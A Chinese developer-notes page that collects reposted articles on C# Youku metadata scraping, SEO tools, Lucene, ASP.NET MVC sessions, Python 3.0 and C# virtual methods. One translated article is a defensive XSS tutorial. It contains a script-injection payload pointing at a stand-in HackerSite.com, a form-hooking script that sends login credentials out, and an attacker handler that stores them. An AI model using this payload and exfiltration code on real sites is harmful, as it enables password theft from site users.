开发笔记 第821页

实现方式如下

youku的站外引用提供了如下地址

http://player.youku.com/player.php/sid/XNTg0NDExMzI=/v.swf

其中XNTg0NDExMzI=这个部分可以看做是视频的ID

而每次视频播放时v.swf通过以下网址获取视频信息

http://v.youku.com/player/getPlayList/VideoIDS/视频的ID/version/5/source/out?onData=%5Btype%20Function%5D&n=3

这个个网址返回的是一段json,类似

{"data":[{"tt":"0","ct":"a","cs":"2143","logo":"http:\/\/vimg12.youku.com\/1100641F46493E8D0B3EFF0048E76B57CA9FBD-CEC7-7777-3402-EC9732C9950B","seed":5484,"tags":["\u7f8e\u56fd","\u98df\u54c1"],"categories":"91","streamsizes":{"flv":"3111068"},"streamfileids":{"flv":"19*67*19*19*2*42*19*16*19*19*42*61*47*44*32*46*19*5*42*42*46*61*19*19*42*32*44*50*2*5*42*37*61*30*16*16*37*23*26*37*61*30*37*26*23*44*16*16*26*5*16*47*46*26*30*50*19*16*44*44*12*37*46*47*12*46*"},"videoid":"14610283","segs":{"flv":[{"no":0,"size":"3111068","seconds":"90.00"}]},"fileid":"19*67*19*19*2*42*19*16*19*19*42*61*47*44*32*46*19*5*42*42*46*61*19*19*42*32*44*50*2*5*42*37*61*30*16*16*37*23*26*37*61*30*37*26*23*44*16*16*26*5*16*47*46*26*30*50*19*16*44*44*12*37*46*47*12*46*","username":"dongdong19850912","userid":"4777835","title":"\u591a\u79cd\u7f8e\u56fd\u8f93\u534e\u98df\u54c1\u88ab\u68c0\u51fa\u8d28\u91cf\u95ee\u9898","key1":"bd7ed04d","key2":"3fd76e2fd48efb01","seconds":"90.00","streamtypes":["flv"]}],"user":{"id":0}}

其中的Title自然就是标题,logo就是视频的截图

这里可以用json.net来反序列化获取,但我这里是使用的正则来提取的

		static public string[] GetMediaPic(string url) {
if (url.ToLower().StartsWith("http://player.youku.com/player.php/sid/")) {//判断是否为youku视频
return getPicYouKu(url);
} else {
return new string[0];
}
}
static string[] getPicYouKu(string url) {
string id = url.Replace(@"http://player.youku.com/player.php/sid/","").Replace(@"/v.swf","");
string newurl = string.Format(
@"http://v.youku.com/player/getPlayList/VideoIDS/{0}/version/5/source/out?onData=%5Btype%20Function%5D&n=3"
, id);
var hp = new HttpProc(newurl);//这个类见下方网址
var html = hp.Proc().Replace(@"\/", "/");//通过get方式获取信息
var re = new Regex("(http://[^\"]+)[\\w\\W]+\"title\":\"([^\"]+)\"");//与此同时提取截图和标题
var m = re.Match(html);
if (m.Success) {
var ret = new string[2];
ret[0] = m.Groups[1].Value;//0是url
ret[1] = UnicodeToChinese(m.Groups[2].Value);//1是title,要从unicode转为汉字
return ret;
} else
return new string[0];//如果没有就返回空数组     
}
                /// <summary>
/// unicode转汉字
/// </summary>
/// <param name="str"></param>
/// <returns></returns>
static public string UnicodeToChinese(string str) {
return ConvertTo(str, "unicode");
}
static string ConvertTo(string str, string encode) {
StringBuilder tmpStr = new StringBuilder();
for (int i = 0; i < str.Length; i++) {
if (str[i] == '\\' && str[i + 1] == 'u') {
string s1 = str.Substring(i + 2, 2);
string s2 = str.Substring(i + 4, 2);
int t1 = Convert.ToInt32(s1, 16);
int t2 = Convert.ToInt32(s2, 16);
byte[] array = new byte[2];
array[0] = (byte)t2;
array[1] = (byte)t1;
string s = System.Text.Encoding.GetEncoding(encode).GetString(array);
tmpStr.Append(s);
i = i + 5;
} else { tmpStr.Append(str[i]); }
}
return tmpStr.ToString();
}

HttpProc可参见:http://www.51aspx.com/CV/CHSNS122,UserWebService,ChAlumna,Reqres.cs.html

如无外最后返回数组即为[0]存标题,[1]存截图地址

即

var x=GetMediaPic("http://player.youku.com/player.php/sid/XNTg0NDExMzI=/v.swf");
if(x.Length==0){
        //不是youku或无法获取
}else{
Title=x[0];
Url=x[1];
}

在开发和维护网站的过程中，网站分析将对网站的前途起到非常重大的作用。今天暴风彬彬为大家收集了20个用来对自己的网站进行分析的资源或工具，而且它们几乎不用注册甚至下载就可以使用哦。有些可以说是SEO必不可少的工具！还等什么，快往下看…

　　下面要介绍的这20个工具，有些能对你提交的网站进行详尽的分析并作出详细的分析报告，甚至提示如何解决网站存在的一些问题，以达到优化效果； 有些工具只是提供一个大体的分析。我相信其中大部分都会对你的SEO工作有所帮助，而且会是你的网站维护起来更有意思 😀 

您还可以参考以下网站优化相关文章:
《通过27个网站分析工具了解网站的9个有趣真相》 
《浅谈网站用户体验UX与SEO的关系》
《推荐两个SEO辅助搜索工具》
《Google 评价 blog 的指标》 
《Google 网页排名背后的技术》 

1.Website Grader

　　Website Grader是我平常比较喜欢使用SEO分析工具，因为它分析得很全面，可用性也很高。通 过Website Grader你将得到一个关于你提交的网站的非常详尽的分析报告，报告涉及到了网站的各个部分，比如页面结构、域名信息、标题摘要信息（h1,h2,h3 这些）、Google索引数量和bot最后爬行日期、RSS是否正确、Google/Yahoo/Alexa/MSN上的反向链接数、 Technorati排名、del.icio.us的收藏数、Alexa的排名情况和Google PageRank值。并且还会对提交的网站进行打分及网站出现的问题的修改建议。通常Website Grader所提出来的修改建议是很有价值的，而且能详细的致命问题出在哪，如何才能解决这样的问题。

2.Trifecta

　　Trifecta是这20个SEO工具中比较独特的一个，它以不同的标准分析一个网页、一个博客甚至一个顶级域名下的整个网站，他最终会为你提交的网站总结大致的分数及报告。如果不是会员的话每天可以申请一份分析报告。

3.Spider Simulator

　　这个分析工具会对你提交的网站进行相对于搜索引擎友好度的分析，并对提交的网站进行评分。主要的评分标准是Meta标签的使用、网页的标题、图片和Alt属性、网站响应时间和链接。

4.Web Page Analyzer(来自WebsiteOptimization.com)

　　这个SEO免费工具会对你的SEO工 作提供足够的分析信息。它将对提分析网站载入时间、包含的对象（Objects）、对象的大小等等，其中最有帮助的地方是“Analysis and Recommendations” （分析和建议）部分，它将为网站列出11个方面的评测及打分，其中红色为警告、黄色为提醒、绿色为很好。

5.SEO Analysis Tool

　　SEO Analysis Tool这个SEO工具也能提供一个非常详尽的分析报告，它主要对网页的Meta标签、关键词和链接文本进行分析。这个工具对于网站的SEO工作可以说是非常好的资源。

6.The Escape’s Web Page Analyzer

　　这个工具帮助你了解提交的网站的标题结构(h1~h6)、链接、关键词的使用和内容的问题。它并不像其它的工具那样为你提交的网站提供详细的分析报告，但是它提供的信息的帮助性和针对性要比其他SEO分析工具更好。

7.Seed Keywords

　　Seed keywords 提供一个 “plain English SEO review”来分析页面某些方面并给予建议，并提供关于这些元素为什么会影响页面SEO的基本说明。

8.Web Page Analyzer（来自FreeWebSubmission.com）

　　这个SEO工具可以全面的分析您提交的网站，如同其它工具一样，可以提供详细的分析报告。比如分析Meta标签并给予一定的指导性建议。这个工具在分析的时候也很看重网页的大小、读取时间以及在页面内容中关键词相关的链接、含关键词的Alt属性和关键词密度。

9.Spider Test (来自We Build Pages)

　　Spider Test 分析工具会快速简单的告诉你提交的网页是如何展现给搜索引擎的，它会显示出网页的描述、关键词、网页大小和网页中的文本等等…

10.Web Page Analyzer （来自 Webmaster Toolkit）

　　Web Page AnalyzerSEO分析工具可以让你为搜索引擎提供一个URL和指定的短语，然后它会反馈给你一些关于如何为这个短语而优化网页的建议。

11.Link Appeal （来自 Webmaster Toolkit）

　　你想知道一个网页（你的网站的或其它网站）是否有被其他网站链接的价值吗？输入URL，然后Link Appeal会基于一些评判因素给你提交的网页一个类似PageRank的分数和相关的外链数量。

12.Full Page Test （来自Pingdom Tools）

　　这个来自Pingdom网站的SEO免费工具可以分析网页的很多方面，包括读取时间,对象,CSS,RSS,转向链接等等…

13.SearchEngine-Analysis.com

　　输入一个URL和一个针对性的关键词或搜索短语，然后你会得到关于如何优化这个短语以在其它竞争者中领先。

14.Web Page Speed Test （来自Self SEO）

　　这个分析工具可以对你提交的网站列表进行对比，一次可以最多提交10个URL。

15.Similar Page Checker

　　帮助你检测输入的两个网址的内容的相似度，以避免由于内容重复而被搜索引擎处罚。如果它们非常相似，你可以进行适当的修改。转载文章的话，这个工具还是比较实用的。

16.Dead-Links.com

　　这个工具可以爬行你提交的整个网站，以寻找返回404错误页面的链接。检测的时间比较长。

17.Firebug

　　Firebug是Firefox的插件，它可以让你在浏览器中分析和调试自己网页中的HTML、CSS和JavaScript。

18.YSlow for Firebug

　　另一个Firefox插件，它可以分析并为你提供提高网页加载速度的建议。这个工具集成了上面说的FireBug工具。

19.Google Webmaster Tools

　　这个工具太有名了，我就不做太多介绍了。

20.Web CEO

　　Web CEO是一套非常优质的SEO优化和分析工具，分为收费版和免费版。免费版可以帮助你根据它的建议去优化你的网站，比如关键词建议，网页优化建议，和检查网站的评分等…

英文原文:20 Free Page Analysis Tools
翻译原文:20个免费的SEO网站分析工具(暴风彬彬)

Lucene：基于Java的全文检索引擎简介

作者：车东 发表于：2002-08-06 18:08 最后更新于：2007-04-12 11:04
版权声明：可以任意转载，转载时请务必以超链接形式标明文章原始出处和作者信息及本声明。
http://www.chedong.com/tech/lucene.html

索引数据源：doc(field1,field2...) doc(field1,field2...)
\  indexer /
_____________
| Lucene Index|
--------------
/ searcher \
结果输出：Hits(doc(field1,field2) doc(field1...))

 索引数据源：record(field1,field2...) record(field1..)
\  SQL: insert/
_____________
| DB  Index   |
-------------
/ SQL: select \
结果输出：results(record(field1,field2..) record(field1...))

public class IndexFiles {
//使用方法：: IndexFiles [索引输出目录] [索引的文件列表] ...
public static void main(String[] args) throws Exception {
String indexPath = args[0];
IndexWriter writer;
//用指定的语言分析器构造一个新的写索引器（第3个参数表示是否为追加索引）
writer = new IndexWriter(indexPath, new SimpleAnalyzer(), false);
for (int i=1; i<args.length; i++) {
System.out.println("Indexing file " + args[i]);
InputStream is = new FileInputStream(args[i]);
//构造包含2个字段Field的Document对象
//一个是路径path字段，不索引，只存储
//一个是内容body字段，进行全文索引，并存储
Document doc = new Document();
doc.add(Field.UnIndexed("path", args[i]));
doc.add(Field.Text("body", (Reader) new InputStreamReader(is)));
//将文档写入索引
writer.addDocument(doc);
is.close();
};
//关闭写索引器
writer.close();
}
}
　

public class Search {
public static void main(String[] args) throws Exception {
String indexPath = args[0], queryString = args[1];
//指向索引目录的搜索器
Searcher searcher = new IndexSearcher(indexPath);
//查询解析器：使用和索引同样的语言分析器
Query query = QueryParser.parse(queryString, "body",
new SimpleAnalyzer());
//搜索结果使用Hits存储
Hits hits = searcher.search(query);
//通过hits可以访问到相应字段的数据和查询的匹配度
for (int i=0; i<hits.length(); i++) {
System.out.println(hits.doc(i).get("path") + "; Score: " +
hits.score(i));
};
}
}

...
　scorer.score(new HitCollector() {
private float minScore = 0.0f;
public final void collect(int doc, float score) {
if (score > 0.0f &&			  // ignore zeroed buckets
(bits==null || bits.get(doc))) {	  // skip docs not in bits
totalHits[0]++;
if (score >= minScore) {
/* 原先：Lucene将docID和相应的匹配度score例入结果命中列表中：
* hq.put(new ScoreDoc(doc, score));	  // update hit queue
* 如果用doc 或 1/doc 代替 score，就实现了根据docID顺排或逆排
* 假设数据源索引时已经按照某个字段排好了序，而结果根据docID排序也就实现了
* 针对某个字段的排序，甚至可以实现更复杂的score和docID的拟合。
*/
hq.put(new ScoreDoc(doc, (float) 1/doc ));
if (hq.size() > nDocs) {		  // if hit queue overfull
hq.pop();			  // remove lowest in hit queue
minScore = ((ScoreDoc)hq.top()).score; // reset minScore
}
}
}
}
}, reader.maxDoc());

数据源: WORD       PDF     HTML    DB       other
\          |       |      |         /
XML中间格式
|
Lucene INDEX

 原文地址 http://hi.baidu.com/xiong5120/blog/item/1024ff241a92f6004c088d45.html

原文地址：http://weblogs.ASP.NET/stephenwalther/archive/2008/06/23/asp-net-mvc-tip-7-prevent-JavaScript-injection-attacks-with-html-encode.aspx

转载醒目！这里提出了一个不经常被开发人员注意的问题，JavaScript其实也是可以注入的。

摘要：在这个Tip中，你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事，并解释了如何通过一种简单的方式来防止这种攻击。

当你从站点的浏览者那里收集表单数据，并将表单数据展示给其他浏览者时，你应该对表单数据进行编码。否则，你的站点大门将为JavaScript注入攻击打开。

例如，如果你创建了一个论坛，在将消息显示到Web页面之前，请确保对其进行了编码。如果你没有对消息进行编码，某些人可能会发表一个带JavaScript的消息，做一件大大的坏事。 

在 这个Tip中，我将强调黑客可以利用JavaScript注入攻击做非常严重的事情。让我惊奇的是，关心防止JavaScript注入攻击的Web开发者 少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个 Tip中，我将向你展示黑客如何利用JavaScript注入攻击来盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

据Wikipedia称，JavaScript注入攻击已经“超越缓冲区溢出，成为最常见的公共安全弱点。”更恐怖的是，据Wikipedia称，70%的网站向JavaScript注入攻击敞开着（http://en.wikipedia.org/wiki/Cross-site_scripting）。因此，本文读者，你们当中的70%正在犯懒并危害着你们网站的用户。羞羞！

如何通过JavaScript盗取另一个用户的密码

这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序，使用的是ASP.NET MVC。

Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容，可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

图1展示了反馈表单。

图1 – 反馈表单

注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中（Web站点的常见场景）。

由于反馈表单显示了其它客户留下的反馈，该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码：

<script src=http://HackerSite.com/EvilScript.js></script>

当该文本重新显示在反馈表单页中时，<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

清单1 – EvilScript.js

if (window.attachEvent)  
     document.forms[0].attachEvent('onsubmit', fn);  
   
function fn(e)  
{  
     var userName = document.getElementById("userName").value;  
     var password = document.getElementById("password").value;  
     var d = new Date();  
     var url = "HackerSite/EvilHandler.ashx?userName=" + userName   
        + "&password=" + password + "&d=" + d.valueOf();  
   
     var script = document.createElement("script");  
     script.type = 'text/javascript';  
     script.src = url;  
     document.body.appendChild( script );   
} 

清 单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时，会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来，该脚本向页面中动态注入了一 个<script>标签，并将userName和password传递给一个名为EvilHandler.ashx的（可能是远程的）处理 器。

EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码，并存放在数据库中。

清单2 – EvilHandler.ashx

using System;  
using System.Collections;  
using System.Data;  
using System.Linq;  
using System.Web;  
using System.Web.Services;  
using System.Web.Services.Protocols;  
using System.Xml.Linq;  
   
namespace CustomerSurvey.HackerSite  
{  
     [WebService(Namespace = "http://tempuri.org/")]  
     [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]  
     public class EvilHandler : IHttpHandler  
     {  
   
         public void ProcessRequest(HttpContext context)  
         {  
             // Get user name and password from URL  
             string userName = context.Request.QueryString["userName"];  
             string password = context.Request.QueryString["password"];  
               
             // Store in database  
             HackerDataContext db = new HackerDataContext();  
             StolenPassword pwd = new StolenPassword();  
             pwd.userName = userName;  
             pwd.password = password;  
             db.StolenPasswords.InsertOnSubmit(pwd);  
             db.SubmitChanges();  
         }  
   
         public bool IsReusable  
         {  
             get 
             {  
                 return false;  
             }  
         }  
     }  
} 

假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下，黑客现在就能访问任何人的帐户信息了，并能把任何人的钱转到位于开曼群岛的帐户中。很不错，才需要这么几行代码。

ASP.NET MVC不支持请求验证

这 种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证（Request Validation）的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字，请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样 的文本，就会导致异常的抛出。

要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中，你必须完全由自己来防止JavaScript注入攻击。

防止JavaScript注入攻击

防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

例如，下面是Index视图中用于显示用户反馈的部分代码：

<h1>Customer Feedback</h1> 
<ul> 
<% foreach (Survey survey in ViewData.Model)  
   { %> 
   <li> 
    <%= survey.EntryDate.ToShortDateString() %> 
    &mdash;  
    <%= survey.Feedback %> 
   </li> 
<% } %> 
</ul> 

该代码包含一个循环，遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。

为了防止JavaScript注入攻击，你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式：

<h1>Customer Feedback</h1> 
<ul> 
<% foreach (Survey survey in ViewData.Model)  
    { %> 
    <li> 
     <%= survey.EntryDate.ToShortDateString() %> 
     &mdash;  
     <%= Html.Encode(survey.Feedback) %> 
    </li> 
<% } %> 
</ul> 

哪些内容需要编码

注意在前面的代码中，我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。

首先，EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。

假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的，黑客也不可能向其中注入恶意代码。因此，你无须担心是否需要对该属性进行编码。

通常，任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如，要小心地显示用户名。如果你允许用户创建属于他们自己的用户名，则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中（或一个指向色情图片的img标签）。

另外，小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子：

<a href="javascript:alert('Something Evil!')">Mr. Hacker</a> 

当你单击该链接时，JavaScript就会执行。在这种情况下，没有什么恶劣的事发生。但是，你可能执行的是窃取表单数据或cookies数据的代码。

验证、会话状态和HttpOnly Cookies

你可以利用JavaScript注入攻击来窃取Cookies。例如，你将用户的信用卡号存放在一个Cookies中，然后你可以向页面中注入JavaScript，使用document.cookie DOM属性来截取信用卡号。

ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据（Ticket）。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies，你就能模仿其他网站用户并且去用户的会话状 态信息。

幸运的是，Microsoft对此采取了预防措 施，使得很难窃取Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie，它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。

Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此，你仍需要注意为所有用户输入数据进行HTML编码，以避免黑客盗取 Forms Authentication和Session State Cookie。

小结

该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样，JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意，每当在MVC视图中显示从用户那里收集来得数据时，都要进行编码。

你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后，单击登录表单中的按钮，用户名和密码会出现在StolenPasswords数据库表中。
此处下载源代码：http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip。

最近使用ASP.NET MVC 中的Controller.Session对象时发现一个问题
原代码如下：
InformationController:
            //网店控制器
            ShopController shop = new ShopController();
            UserInfo user = business.SelectById<UserInfo>(userId);
            //查询用户
            Session["User"] = user;
            //图片信息
            //定位到编辑图片信息页面
            if (picture == 1)
            {
                return shop.EditProduct(identifier, modId);
            }
            //文字信息
            if (picture == 2)
            {
                return shop.EditInfo(identifier, modId);
            }
ShopController:
        public ActionResult EditInfo(int identifier, int moduleId)
        {
            //如果登录用户为空则重定向到登录界面
            if (null == Session["User"])
            {
                return RedirectToAction("Index", "User");
            }
        }
实现的功能就是，通过InfomationController赋值Session["User"]对象，然后调用ShopController的action
但是上述代码执行后，shopController中读取不到Session["User"]？！于是想到Session是MVC封装到
Controller的一个属性Session，因此将上述对Session["user"]的赋值只是针对informationController
而不是shopController，因此shopController读取不到Session["User"]所以出错
将代码改为：
InformationController:
            //网店控制器
            ShopController shop = new ShopController();
            UserInfo user = business.SelectById<UserInfo>(userId);
            //查询用户
            shop.Session["User"] = user;
问题解决，但是还有个疑问就是为什么我用户登录的Session["User"]ShopController就能够调用呢？
看来需要看看MVC源码了
翻看了MVC的源码发现先前的修改是错的，同样是提示NullReferenceException
Controller的源码中Session属性的声明如下：
        public HttpSessionStateBase Session {
            get {
                return HttpContext == null ? null : HttpContext.Session;
            }
        }
原来是只读属性，于是单步跟踪发现
ShopController shop= new ShopController();
创建后的Shop控制器的Session属性为Null,结果给Session["User"]赋值肯定报空指针异常,于是发现直接创建
Cotroller肯定不行，于是改用RedirectToAction()问题解决

     Python 3.0 已经正式发布。Python 3.0 又称“Python3000”或“Py3k”，历经近 3 年的开发，是 Python 发布历史中的一个里程碑版本。 需要注意的是，Python 3.0 与 2.x不兼容，其内置对象已被更改，且许多不赞成的特性也最终被移除。不过 Python提供了一个升级工具“2to3”，详情请看：http://docs.python.org/library/2to3.html

转载：http://www.cnblogs.com/560889223/archive/2008/12/03/1346340.html

前言

　　这篇文章出自我个人对C#虚函数特性的研究和理解，未参考、查阅第三方资料，因此很可能存在谬误之处。我在这里只是为了将我的理解呈现给大家，也希望大家在看到我犯了错误后告诉我。

用词约定

• “方法的签名”包括返回类型、方法名、参数列表，这三者共同标识了一个方法。
• “声明方法”，即指出该方法的签名。“定义方法”，则是指定调用方法时执行的代码。
• “同名方法”是指方法的签名相同的两个方法。
• “重写”一个方法，意味着子类想继承父类对方法的声明，却想重新定义该方法。
• 单独使用“使用”一词时，包括“显式”或“隐式”两种使用方式：前者是指在代码中指明，后者是根据语句的上下文推断。
• 某个类的方法，包括了在该类中定义的方法，以及由继承得到的直接父类的方法。注意这条规则的递归性质。  

理论部分

　　在父类与子类里，除了类之间的继承链，还存在方法之间的继承链。

　　C#里，在一个类中声明一个方法时，有四个和方法的继承性有关的关键字：new、virtual、sealed、override。

• virtual 表示允许子类的同名方法与其^①建立继承链。
• override 表示其^①与父类的同名方法之间建立了继承链，并隐式使用 virtual 关键字。
• new 表示其切断了其^①与父类的同名方法之间的继承链。
• sealed 表示将其^①与父类的同名方法建立继承链（注意这个就是 override 关键字的特性），并且不允许子类的同名方法与其建立继承链。在使用 sealed 关键字时，必须同时显式使用 override 关键字。

　　以及：

• 在定义方法时，若不使用以上关键字，方法就会具有new关键字的特性。对于这一点，如果父类中没有同名方法，则没有任何影响；如果父类中存在一个同名方法，编译器会给出一个警告，询问你是否是想隐藏父类的同名方法，并推荐你显式地为其指定new关键字。

　　①其：指代正在进行声明的方法。

　　依照上述的说明，在调用类上的某个方法时，可以为该方法构建出一个或多个“方法继承链”。首先列出从子类^②一直到父类^③的类继承链，并列出这些类对该方法的最初定义或重定义。然后从父类到子类，逐个检查每个类对该方法的定义，按以下规则构造方法继承链：

1. 任何一个没有使用 override 或 sealed 关键字的方法定义都将成为继承链的开端；
2. 如果该类在定义方法时使用了 virtual 关键字，则会被附加到继承链中。
3. 继承链的结束取决于两个因素：若子类中存在使用了 new 关键字的同名方法，则之前的继承链立刻结束（该方法不会被添加到继承链中）；若子类中存在使用了 sealed 关键字的同名方法，则在将该方法添加到继承链后，然后结束继承链。

　　当你拿到一个子类^②的实例，却使用父类^③的对象引用调用一个方法时（例如“A instanceRef = new C(); instanceRef.Foo1()”，这时类型A的引用就指向了类型C的对象），C#会先检查该方法是否为一个虚方法（使用了 virtual 关键字）：如果不是，则简单地调用该方法的父类^③版本即可；如果是，则沿着方法的继承链向下寻找，找到位于继承链底部的那个方法。
　　②子类：指该实例的实际类型。
　　③父类：指在调用方法时，使用的对象引用的类型；该类型必然是子类的父类型。

实践部分

　　我定义了以下四个类：

类定义
public class A
{
    public virtual void Foo1()
    {
        Console.WriteLine("A.Foo1() was invoked.");
    }

    public void Foo2()
    {
        Console.WriteLine("A.Foo2() was invoked.");
    }
}

public class B : A
{
    public override void Foo1()
    {
        Console.WriteLine("B.Foo1() was invoked.");
    }

    public new virtual void Foo2()
    {
        Console.WriteLine("B.Foo2() was invoked");
    }
}

public class C : B
{
    public new void Foo1()
    {
        Console.WriteLine("C.Foo1() was invoked.");
    }
}

public class D : C
{
    public override sealed void Foo2()
    {
        Console.WriteLine("D.Foo2() was invoked.");
    }
}

 

　　当运行如下代码时，会打印出什么？

运行这些代码
C aD = new D();
A aC = new C();

aD.Foo1();
aD.Foo2();
aC.Foo1();
aC.Foo2();

 

　　结果是：

打印出的结果
C.Foo1() was invoked.
D.Foo2() was invoked.
B.Foo1() was invoked.
A.Foo2() was invoked.

 

　　例子很简单，依照之前的规则，可以画出如下一幅图。图中圆形的末端表示封闭、中断继承链；菱形的末端表示开放、允许构建继承链；类描述中的等式，表示从该类型的对象引用调用对应方法（等号左边的斜体）时，实际执行的代码体是在何处（等号右边的正常字体）定义的。

　　其实，为了确认这里描述出来的方法的继承链，甚至都不需要实地运行此代码。将代码放在Visual Studio里，使用“重构”（Refactor）菜单中的“重命名”（Rename）修改方法名称，待完成后就会发现在方法继承链的中断处，自动修改符 号名称的动作也中止了。

补充

　　对于 this 关键字，上述的规则也适用。只需要将 this 依 照当前的代码上下文翻译为对应的类型引用，就可以依照之前叙述的方法确定最终调用的代码了。例如在C中的Foo1方法里假如有这么一条语 句：“this.Foo2()”。当在外部运行“D.Foo2()”时，就会就会解析到“C.Foo1()”，这时，C.Foo1()方法的内部在解析 “this.Foo2()”时就会解析到D.Foo2()。

　　对于 base 关键字，则比较简单，只是在基类的方法（这里“基类的方法”一词，请参见“用词约定”的第6条。）中找到同名方法，然后调用，不存在解析虚函数的过程。

　　对于被委托对象包装的方法指针，在调用委托时，仍会按照上述规则解析到正确的方法。

　　本文示例中使用了“Foo”开头的方法名，而这个习惯借鉴自一些别的文章。这里是有个典故还是怎么？